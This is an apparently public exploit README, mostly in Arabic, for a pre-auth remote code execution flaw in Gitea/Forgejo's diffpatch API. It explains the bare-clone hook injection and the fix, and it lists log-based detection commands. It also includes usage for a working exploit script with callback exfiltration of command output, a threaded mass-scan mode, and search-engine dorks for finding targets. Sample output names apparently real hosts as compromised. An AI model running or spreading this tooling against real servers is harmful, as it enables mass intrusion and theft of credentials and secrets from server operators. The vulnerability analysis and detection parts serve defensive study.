
CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. استنساخ فارغ ← حقن خطاف ما بعد تغيير الفهرس. CVSS 9.8 | CWE-94 | Gitea < 1.27.1
CVE-2026-60004 هي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) ذات خطورة حرجة (CVSS 9.8) تُستغل دون مصادقة مسبقة (pre-authentication) في منصّتي Git المستضافتين ذاتيًا Gitea وForgejo، وتؤثر على الإصدارات من 1.17 حتى 1.27.0.
تستغل الثغرة خللًا في تصميم الاستنساخ المكشوف (bare clone) في نقطة نهاية API الخاصة بـ POST /api/v1/repos/{owner}/{repo}/diffpatch. يطبّق Gitea التصحيحات المقدَّمة من المستخدم داخل استنساخ مؤقت مكشوف — حيث يكون جذر المستودع هو $GIT_DIR نفسه. من خلال إرسال نفس التصحيح الخبيث مرتين، يُحدث المهاجم تعارضًا من نوع add/add يجعل الدمج الثلاثي الاحتياطي (-3، Git 2.32+) يكتب خطاف post-index-change قابلًا للتنفيذ مباشرةً داخل $GIT_DIR/hooks/. ينفّذ Git هذا الخطاف تلقائيًا أثناء تحديث الفهرس، مما يسمح بتنفيذ أوامر اعتباطية تحت حساب خدمة Gitea.
يتطلب الأمر صلاحية كتابة على المستودع — وهي سهلة الحصول عليها، إذ يوفّر Gitea تسجيلًا مفتوحًا افتراضيًا دون التحقق من البريد الإلكتروني أو موافقة المشرف أو قيود على إنشاء المستودعات.
| الإصدار | الحالة |
|---|---|
| < 1.17 | غير متأثر (مسار diffpatch لم يُقدَّم بعد) |
| 1.17 — 1.27.0 | متأثر |
| 1.27.1+ | مُصحَّح |
اكتُشفت بواسطة: Shai Rod (NightRang3r)، 28 يوليو 2026 المشروع: Gitea / Forgejo (خدمة Git مستضافة ذاتيًا) المكوّن: نقطة نهاية API الخاصة بـ diffpatch، استنساخ مؤقت مكشوف
ينبع أصل الثغرة من معامل واحد في services/repository/files/patch.go:
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
return nil, err
}
في الاستنساخ المكشوف لا توجد شجرة عمل — إذ يكون جذر المستودع هو $GIT_DIR. لذلك فإن أي تصحيح خبيث يكون مسار ملفه hooks/post-index-change يقع مباشرةً داخل دليل الخطافات الحقيقي لـ Git، وليس في شجرة عمل معزولة.
استدعاء git apply يزيد الأمر سوءًا:
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
"--index", "--recount", "--cached",
"--ignore-whitespace", "--whitespace=fix", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
cmdApply.AddArguments("-3") // three-way merge fallback
}
$GIT_DIR، لذا فإن المسار hooks/post-index-change يقع في دليل الخطافات الحقيقي.--cached ليس مانعًا مطلقًا — الدمج الثلاثي الاحتياطي -3 في Git 2.32+ يكتب النتائج المدمجة إلى شجرة العمل أثناء تعارضات add/add، رغم العلامة --cached.post-index-change تلقائيًا — بعد تحديث الفهرس، يشغّل Git هذا الخطاف دون قيد أو شرط إذا كان موجودًا وقابلًا للتنفيذ. لا حاجة إلى أي إعداد.git update-index داخل الخطاف يتسبّب في توقف تام (deadlock) لأن git apply يحتفظ بقفل الفهرس. استخدم استدعاءات HTTP (curl) أو قذائف عكسية (reverse shells) لإخراج البيانات.1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
└─ Bare temp clone created: .Clone(ctx, oldBranch, true)
└─ git apply --index --cached -3 processes the patch
└─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
└─ Three-way merge (-3) resolves the conflict
└─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
└─ Git fires post-index-change hook automatically
└─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
└─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn
# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log
# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
يكمن الفرق بين الاستنساخ المكشوف وغير المكشوف — معامل منطقي واحد (boolean) — في تحديد ما إذا كان مسار التصحيح مدخلًا غير ضار في شجرة العمل أم خطافًا قابلًا للتنفيذ يقع مباشرةً داخل الدليل الداخلي لـ Git. يغيّر الإصلاح حرفًا واحدًا فقط في الفرق (true → false)، ولهذا وُسم الالتزام بـ "refactor: git patch apply" تحت قسم MISC بدلًا من SECURITY. العملية التي كان يُفترض أن تبقى معزولة على الفهرس (--cached) تعطّلت بصمت بسبب آلية الدمج الثلاثي في Git نفسه، ولم يمنع أي حارس إضافي إنشاء ملفات الخطافات في $GIT_DIR الخاص بالاستنساخ المكشوف.
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com
# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20
# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced
# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--callback HTTP callback URL for output exfiltration
--listen [PORT] Auto-start built-in callback listener
-o, --output Save RCE-confirmed URLs to file
--threads Concurrent workers (default: 25)
--timeout HTTP request timeout in seconds
--no-cleanup Leave repository and user on target
--forced Attempt exploit regardless of detected version
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8
Host : gitea.example.com
Version : 1.22.0
Vuln (< 1.27.1) : YES
RCE : CONFIRMED
Detection : timing Δ 8.0s (hook sleep 4s)
User : poc_a1b2c3
Time : 9.5s
$ python cve_2026_60004.py -f targets.txt --callback http://your-server:8888 --threads 20
Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8
Targets: 259 | Threads: 20
[RCE] gitea.idetama.id Δ8.7s (hook sleep 4s)
[RCE] gitea.roan.id.au Δ8.7s (hook sleep 4s)
[DET] git.ofon.id | ⠼ [████░░░░░░░░░░░] 86/259 (33%) Det:76 RCE:2
───────────────────────────────────────────────────────
SCAN SUMMARY
───────────────────────────────────────────────────────
Total : 259
RCE Confirmed : 12
Hook Failed : 5
Patched : 25
Errors : 151
Register fail : 85
Login fail : 42
Repo fail : 24
Not Gitea : 66
───────────────────────────────────────────────────────
Detection method: timing
Done | 77s
callback-data/
├── index.txt
├── gitea.idetama.id/
│ ├── output_2026-08-03_120000.txt
│ └── latest.txt
├── gitea.roan.id.au/
│ └── ...
FOFA: title="Gitea" || body="gitea" || body="forgejo"
Shodan: http.title:"Gitea" http.component:"Gitea"
Censys: services.http.response.html_title:"Gitea"
يؤدي الاستغلال الناجح إلى تنفيذ تعليمات برمجية عن بُعد بصلاحية حساب خدمة Gitea:
app.ini — بيانات اعتماد قاعدة البيانات، أسرار SMTP، مفاتيح تطبيقات OAuth، أسرار LFS/JWTلا حاجة إلى حساب على الخادم — فالتسجيل مفتوح افتراضيًا.
أصلح Gitea الثغرة في الإصدار 1.27.1 (الالتزام 470d34b) عبر:
$GIT_DIR/hooks/--index يمكن أن تتفاعل مع شجرة العمل في ظل ظروف معينةTestGitPatchPrepare) يؤكد أن الاستنساخ المؤقت غير مكشوف من خلال التحقق من وجود دليل فرعي .git- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands
+ // might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {
ظهر الإصلاح في ملاحظات إصدار 1.27.1 تحت قسم MISC باسم
"refactor: git patch apply"بدلًا من قسم SECURITY، مما يسهّل على المسؤولين الذين يفحصون فقط إدخالات سجل التغييرات المتعلقة بالأمن تفويت هذا التحديث الحرج. كما تم إصلاح نفس نمط الاستنساخ المكشوف فيCherryPick.
لأغراض تعليمية واختبارات مصرّح بها فقط.
لا تستخدمه ضد أنظمة دون إذن صريح من المالك. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.
| الموارد | الرابط |
|---|
اكتُشف بواسطة Shai Rod (NightRang3r). غير تابع لـ Gitea أو Forgejo.
| الملف | الأسطر | الغرض |
|---|
services/repository/files/patch.go | 195 | t.Clone(ctx, opts.OldBranch, true) — إنشاء استنساخ مكشوف |
services/repository/files/patch.go | 206-209 | git apply مع أعلام --index --cached -3 |
services/repository/files/patch.go | 215-223 | WriteTree() + CommitTree() + Push() — يثبّت حالة المهاجم |
services/repository/files/cherry_pick.go | ~170 | نفس نمط الاستنساخ المكشوف في CherryPick (تم إصلاحه أيضًا) |
| التزام إصلاح Gitea | 470d34b |
| الباحث | NightRang3r |
| CWE-94 | Code Injection |
| Git Hook | post-index-change |